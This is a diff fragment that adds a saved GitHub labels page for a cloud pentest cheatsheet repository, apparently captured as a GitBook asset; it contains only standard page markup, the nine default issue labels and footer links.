     1197 + <text-expander keys=":" data-emoji-url="/autocomplete/emoji?use_colon_emoji=true">
     1198 + <input type="text" name="q" id="js-issues-search" value="" class="form-control form-control subnav-search-input input-contrast col-md-6 col-12" placeholder="Search all labels" autocomplete="off" aria-label="Search all labels" data-hotkey="/" />
     1199 + </text-expander>
     1200 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search subnav-search-icon">
     1201 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     1202 +</svg>
     1203 +</form> </div>
     1204 + 
     1205 +</div>
     1206 + 
     1207 + 
     1208 + 
     1209 + 
     1210 +
     1211 + <div data-view-component="true" class="blankslate blankslate-spacious">
     1212 + <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-tag blankslate-icon">
     1213 + <path d="M7.75 6.5a1.25 1.25 0 1 0 0 2.5 1.25 1.25 0 0 0 0-2.5Z"></path><path d="M2.5 1h8.44a1.5 1.5 0 0 1 1.06.44l10.25 10.25a1.5 1.5 0 0 1 0 2.12l-8.44 8.44a1.5 1.5 0 0 1-2.12 0L1.44 12A1.497 1.497 0 0 1 1 10.94V2.5A1.5 1.5 0 0 1 2.5 1Zm0 1.5v8.44l10.25 10.25 8.44-8.44L10.94 2.5Z"></path>
     1214 +</svg>
     1215 + 
     1216 + <h2 data-view-component="true" class="blankslate-heading"> No labels!
     1217 +</h2>
     1218 + <p data-view-component="true"> There aren’t any labels for this repository quite yet.
     1219 +</p>
     1220 + 
     1221 +</div> <div class="Box">
     1222 + <div class="Box-header d-flex flex-justify-between">
     1223 + 
     1224 + <h3 class="Box-title f5">
     1225 + <span class="js-labels-count">9</span>
     1226 + <span class="js-labels-label" data-singular-string="label" data-plural-string="labels">labels</span>
     1227 + </h3>
     1228 + 
     1229 +
     1230 + <details class="details-reset details-overlay select-menu position-relative">
     1231 + <summary class="btn-link color-fg-muted select-menu-button">
     1232 + Sort
     1233 + </summary>
     1234 + <details-menu class="select-menu-modal position-absolute right-0" style="z-index: 99;">
     1235 + <div class="select-menu-header">
     1236 + <span class="select-menu-title">Sort</span>
     1237 + </div>
     1238 + <div class="select-menu-list">
     1239 + <a class="select-menu-item" href="?sort=name-asc" aria-checked="true" role="menuitemradio">
     1240 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1241 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1242 +</svg>
     1243 + <div class="select-menu-item-text">Alphabetically</div>
     1244 + </a>
     1245 + <a class="select-menu-item" href="?sort=name-desc" aria-checked="false" role="menuitemradio">
     1246 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1247 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1248 +</svg>
     1249 + <div class="select-menu-item-text">Reverse alphabetically</div>
     1250 + </a>
     1251 + <a class="select-menu-item" href="?sort=count-desc" aria-checked="false" role="menuitemradio">
     1252 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1253 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1254 +</svg>
     1255 + <div class="select-menu-item-text">Most issues</div>
     1256 + </a>
     1257 + <a class="select-menu-item" href="?sort=count-asc" aria-checked="false" role="menuitemradio">
     1258 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check select-menu-item-icon">
     1259 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1260 +</svg>
     1261 + <div class="select-menu-item-text">Fewest issues</div>
     1262 + </a>
     1263 + </div>
     1264 + </details-menu>
     1265 + </details>
     1266 + 
     1267 + 
     1268 + </div>
     1269 + 
     1270 + <div aria-label="Labels" role="group">
     1271 + <div class="js-label-list">
     1272 +
     1273 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1274 + <div class="col-md-3 col-9">
     1275 +
     1276 +<a id="label-569937" href="/dafthack/CloudPentestCheatsheets/labels/bug" data-name="bug" style="--label-r:215;--label-g:58;--label-b:74;--label-h:353;--label-s:66;--label-l:53;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1277 + <span >bug</span>
     1278 +</a>
     1279 + 
     1280 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1281 +
     1282 +<span id="label-59335b" data-name="bug" style="--label-r:215;--label-g:58;--label-b:74;--label-h:353;--label-s:66;--label-l:53;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1283 + bug
     1284 +</span>
     1285 + 
     1286 + </div>
     1287 + </div>
     1288 + 
     1289 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1290 + <span >Something isn&#39;t working</span>
     1291 + </div>
     1292 + 
     1293 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1294 + </div>
     1295 + 
     1296 + 
     1297 +</div>
     1298 + 
     1299 +
     1300 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1301 + <div class="col-md-3 col-9">
     1302 +
     1303 +<a id="label-b3fce4" href="/dafthack/CloudPentestCheatsheets/labels/documentation" data-name="documentation" style="--label-r:0;--label-g:117;--label-b:202;--label-h:205;--label-s:100;--label-l:39;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1304 + <span >documentation</span>
     1305 +</a>
     1306 + 
     1307 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1308 +
     1309 +<span id="label-79bd21" data-name="documentation" style="--label-r:0;--label-g:117;--label-b:202;--label-h:205;--label-s:100;--label-l:39;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1310 + documentation
     1311 +</span>
     1312 + 
     1313 + </div>
     1314 + </div>
     1315 + 
     1316 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1317 + <span >Improvements or additions to documentation</span>
     1318 + </div>
     1319 + 
     1320 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1321 + </div>
     1322 + 
     1323 + 
     1324 +</div>
     1325 + 
     1326 +
     1327 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1328 + <div class="col-md-3 col-9">
     1329 +
     1330 +<a id="label-e87b31" href="/dafthack/CloudPentestCheatsheets/labels/duplicate" data-name="duplicate" style="--label-r:207;--label-g:211;--label-b:215;--label-h:210;--label-s:9;--label-l:82;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1331 + <span >duplicate</span>
     1332 +</a>
     1333 + 
     1334 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1335 +
     1336 +<span id="label-5cc921" data-name="duplicate" style="--label-r:207;--label-g:211;--label-b:215;--label-h:210;--label-s:9;--label-l:82;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1337 + duplicate
     1338 +</span>
     1339 + 
     1340 + </div>
     1341 + </div>
     1342 + 
     1343 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1344 + <span >This issue or pull request already exists</span>
     1345 + </div>
     1346 + 
     1347 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1348 + </div>
     1349 + 
     1350 + 
     1351 +</div>
     1352 + 
     1353 +
     1354 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1355 + <div class="col-md-3 col-9">
     1356 +
     1357 +<a id="label-82196a" href="/dafthack/CloudPentestCheatsheets/labels/enhancement" data-name="enhancement" style="--label-r:162;--label-g:238;--label-b:239;--label-h:180;--label-s:70;--label-l:78;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1358 + <span >enhancement</span>
     1359 +</a>
     1360 + 
     1361 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1362 +
     1363 +<span id="label-97127c" data-name="enhancement" style="--label-r:162;--label-g:238;--label-b:239;--label-h:180;--label-s:70;--label-l:78;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1364 + enhancement
     1365 +</span>
     1366 + 
     1367 + </div>
     1368 + </div>
     1369 + 
     1370 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1371 + <span >New feature or request</span>
     1372 + </div>
     1373 + 
     1374 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1375 + </div>
     1376 + 
     1377 + 
     1378 +</div>
     1379 + 
     1380 +
     1381 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1382 + <div class="col-md-3 col-9">
     1383 +
     1384 +<a id="label-71965c" href="/dafthack/CloudPentestCheatsheets/labels/good%20first%20issue" data-name="good first issue" style="--label-r:112;--label-g:87;--label-b:255;--label-h:248;--label-s:100;--label-l:67;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1385 + <span >good first issue</span>
     1386 +</a>
     1387 + 
     1388 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1389 +
     1390 +<span id="label-986400" data-name="good first issue" style="--label-r:112;--label-g:87;--label-b:255;--label-h:248;--label-s:100;--label-l:67;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1391 + good first issue
     1392 +</span>
     1393 + 
     1394 + </div>
     1395 + </div>
     1396 + 
     1397 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1398 + <span >Good for newcomers</span>
     1399 + </div>
     1400 + 
     1401 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1402 + </div>
     1403 + 
     1404 + 
     1405 +</div>
     1406 + 
     1407 +
     1408 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1409 + <div class="col-md-3 col-9">
     1410 +
     1411 +<a id="label-055308" href="/dafthack/CloudPentestCheatsheets/labels/help%20wanted" data-name="help wanted" style="--label-r:0;--label-g:134;--label-b:114;--label-h:171;--label-s:100;--label-l:26;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1412 + <span >help wanted</span>
     1413 +</a>
     1414 + 
     1415 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1416 +
     1417 +<span id="label-65e844" data-name="help wanted" style="--label-r:0;--label-g:134;--label-b:114;--label-h:171;--label-s:100;--label-l:26;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1418 + help wanted
     1419 +</span>
     1420 + 
     1421 + </div>
     1422 + </div>
     1423 + 
     1424 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1425 + <span >Extra attention is needed</span>
     1426 + </div>
     1427 + 
     1428 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1429 + </div>
     1430 + 
     1431 + 
     1432 +</div>
     1433 + 
     1434 +
     1435 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1436 + <div class="col-md-3 col-9">
     1437 +
     1438 +<a id="label-e2038b" href="/dafthack/CloudPentestCheatsheets/labels/invalid" data-name="invalid" style="--label-r:228;--label-g:230;--label-b:105;--label-h:60;--label-s:71;--label-l:65;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1439 + <span >invalid</span>
     1440 +</a>
     1441 + 
     1442 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1443 +
     1444 +<span id="label-cd693a" data-name="invalid" style="--label-r:228;--label-g:230;--label-b:105;--label-h:60;--label-s:71;--label-l:65;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1445 + invalid
     1446 +</span>
     1447 + 
     1448 + </div>
     1449 + </div>
     1450 + 
     1451 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1452 + <span >This doesn&#39;t seem right</span>
     1453 + </div>
     1454 + 
     1455 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1456 + </div>
     1457 + 
     1458 + 
     1459 +</div>
     1460 + 
     1461 +
     1462 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1463 + <div class="col-md-3 col-9">
     1464 +
     1465 +<a id="label-d4f13c" href="/dafthack/CloudPentestCheatsheets/labels/question" data-name="question" style="--label-r:216;--label-g:118;--label-b:227;--label-h:293;--label-s:66;--label-l:67;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1466 + <span >question</span>
     1467 +</a>
     1468 + 
     1469 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1470 +
     1471 +<span id="label-002adb" data-name="question" style="--label-r:216;--label-g:118;--label-b:227;--label-h:293;--label-s:66;--label-l:67;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1472 + question
     1473 +</span>
     1474 + 
     1475 + </div>
     1476 + </div>
     1477 + 
     1478 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1479 + <span >Further information is requested</span>
     1480 + </div>
     1481 + 
     1482 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1483 + </div>
     1484 + 
     1485 + 
     1486 +</div>
     1487 + 
     1488 +
     1489 +<div class="Box-row Box-row--focus-gray Details p-3 m-0 d-flex flex-justify-between flex-items-center flex-wrap js-navigation-item js-labels-list-item js-label-preview-container">
     1490 + <div class="col-md-3 col-9">
     1491 +
     1492 +<a id="label-98b1ff" href="/dafthack/CloudPentestCheatsheets/labels/wontfix" data-name="wontfix" style="--label-r:255;--label-g:255;--label-b:255;--label-h:0;--label-s:0;--label-l:100;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed js-label-link d-inline-block v-align-top">
     1493 + <span >wontfix</span>
     1494 +</a>
     1495 + 
     1496 + <div class="d-none js-label-preview" data-url-template="/dafthack/CloudPentestCheatsheets/labels/preview/" data-default-name="Label preview">
     1497 +
     1498 +<span id="label-a761d1" data-name="wontfix" style="--label-r:255;--label-g:255;--label-b:255;--label-h:0;--label-s:0;--label-l:100;" data-view-component="true" class="IssueLabel hx_IssueLabel IssueLabel--big lh-condensed d-inline-block v-align-top">
     1499 + wontfix
     1500 +</span>
     1501 + 
     1502 + </div>
     1503 + </div>
     1504 + 
     1505 + <div class="d-md-block d-none col-4 f6 color-fg-muted pr-3 js-hide-on-label-edit">
     1506 + <span >This will not be worked on</span>
     1507 + </div>
     1508 + 
     1509 + <div class="col-2 f6 color-fg-muted pr-3 d-md-block d-none js-hide-on-label-edit">
     1510 + </div>
     1511 + 
     1512 + 
     1513 +</div>
     1514 + 
     1515 + </div>
     1516 + </div>
     1517 + </div>
     1518 + 
     1519 + </div>
     1520 + 
     1521 + </div>
     1522 + 
     1523 + 
     1524 + </div>
     1525 + 
     1526 +</turbo-frame>
     1527 + 
     1528 + 
     1529 + </main>
     1530 + </div>
     1531 + 
     1532 + </div>
     1533 + 
     1534 + <footer class="footer width-full container-xl p-responsive" role="contentinfo">
     1535 + <h2 class='sr-only'>Footer</h2>
     1536 + 
     1537 + <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6">
     1538 + <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0">
     1539 + <div class="mt-2 mt-lg-0 d-flex flex-items-center">
     1540 + <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com">
     1541 + <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github">
     1542 + <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path>
     1543 +</svg>
     1544 +</a> <span>
     1545 + &copy; 2023 GitHub, Inc.
     1546 + </span>
     1547 + </div>
     1548 + </div>
     1549 + 
     1550 + <nav aria-label='Footer' class="col-12 col-lg-8">
     1551 + <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3>
     1552 + <ul class="list-style-none d-flex flex-wrap col-12 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0" aria-labelledby='sr-footer-heading'>
     1553 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/site-policy/github-terms/github-terms-of-service" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to terms&quot;,&quot;label&quot;:&quot;text:terms&quot;}">Terms</a></li>
     1554 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/site-policy/privacy-policies/github-privacy-statement" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to privacy&quot;,&quot;label&quot;:&quot;text:privacy&quot;}">Privacy</a></li>
     1555 + <li class="mr-3 mr-lg-0"><a data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to security&quot;,&quot;label&quot;:&quot;text:security&quot;}" href="https://github.com/security">Security</a></li>
     1556 + <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to status&quot;,&quot;label&quot;:&quot;text:status&quot;}">Status</a></li>
     1557 + <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li>
     1558 + <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to contact&quot;,&quot;label&quot;:&quot;text:contact&quot;}">Contact GitHub</a></li>
     1559 + <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to Pricing&quot;,&quot;label&quot;:&quot;text:Pricing&quot;}">Pricing</a></li>
     1560 + <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to api&quot;,&quot;label&quot;:&quot;text:api&quot;}">API</a></li>
     1561 + <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to training&quot;,&quot;label&quot;:&quot;text:training&quot;}">Training</a></li>
     1562 + <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{&quot;category&quot;:&quot;Footer&quot;,&quot;action&quot;:&quot;go to blog&quot;,&quot;label&quot;:&quot;text:blog&quot;}">Blog</a></li>
     1563 + <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li>
     1564 + </ul>
     1565 + </nav>
     1566 + </div>
     1567 + 
     1568 + <div class="d-flex flex-justify-center pb-6">
     1569 + <span class="f6 color-fg-muted"></span>
     1570 + </div>
     1571 +</footer>
     1572 + 
     1573 + 
     1574 + 
     1575 + 
     1576 + <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden>
     1577 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
     1578 + <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path>
     1579 +</svg>
     1580 + <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
     1581 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     1582 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     1583 +</svg>
     1584 + </button>
     1585 + You can’t perform that action at this time.
     1586 + </div>
     1587 + 
     1588 + <template id="site-details-dialog">
     1589 + <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open>
     1590 + <summary role="button" aria-label="Close dialog"></summary>
     1591 + <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal">
     1592 + <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog>
     1593 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     1594 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     1595 +</svg>
     1596 + </button>
     1597 + <div class="octocat-spinner my-6 js-details-dialog-spinner"></div>
     1598 + </details-dialog>
     1599 + </details>
     1600 +</template>
     1601 + 
     1602 + <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0">
     1603 + <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;">
     1604 + </div>
     1605 +</div>
     1606 + 
     1607 + <template id="snippet-clipboard-copy-button">
     1608 + <div class="zeroclipboard-container position-absolute right-0 top-0">
     1609 + <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w">
     1610 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2">
     1611 + <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path>
     1612 +</svg>
     1613 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2">
     1614 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1615 +</svg>
     1616 + </clipboard-copy>
     1617 + </div>
     1618 +</template>
     1619 +<template id="snippet-clipboard-copy-button-unpositioned">
     1620 + <div class="zeroclipboard-container">
     1621 + <clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 tooltipped-no-delay d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w">
     1622 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon">
     1623 + <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path>
     1624 +</svg>
     1625 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none">
     1626 + <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path>
     1627 +</svg>
     1628 + </clipboard-copy>
     1629 + </div>
     1630 +</template>
     1631 + 
     1632 + 
     1633 + 
     1634 + 
     1635 + </div>
     1636 + 
     1637 + <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div>
     1638 + </body>
     1639 +</html>
     1640 + 
     1641 + 
     1642 + 
     1643 + 
  • .gitbook/assets/members
    Diff is too large to be displayed.
  • .gitbook/assets/members (1)
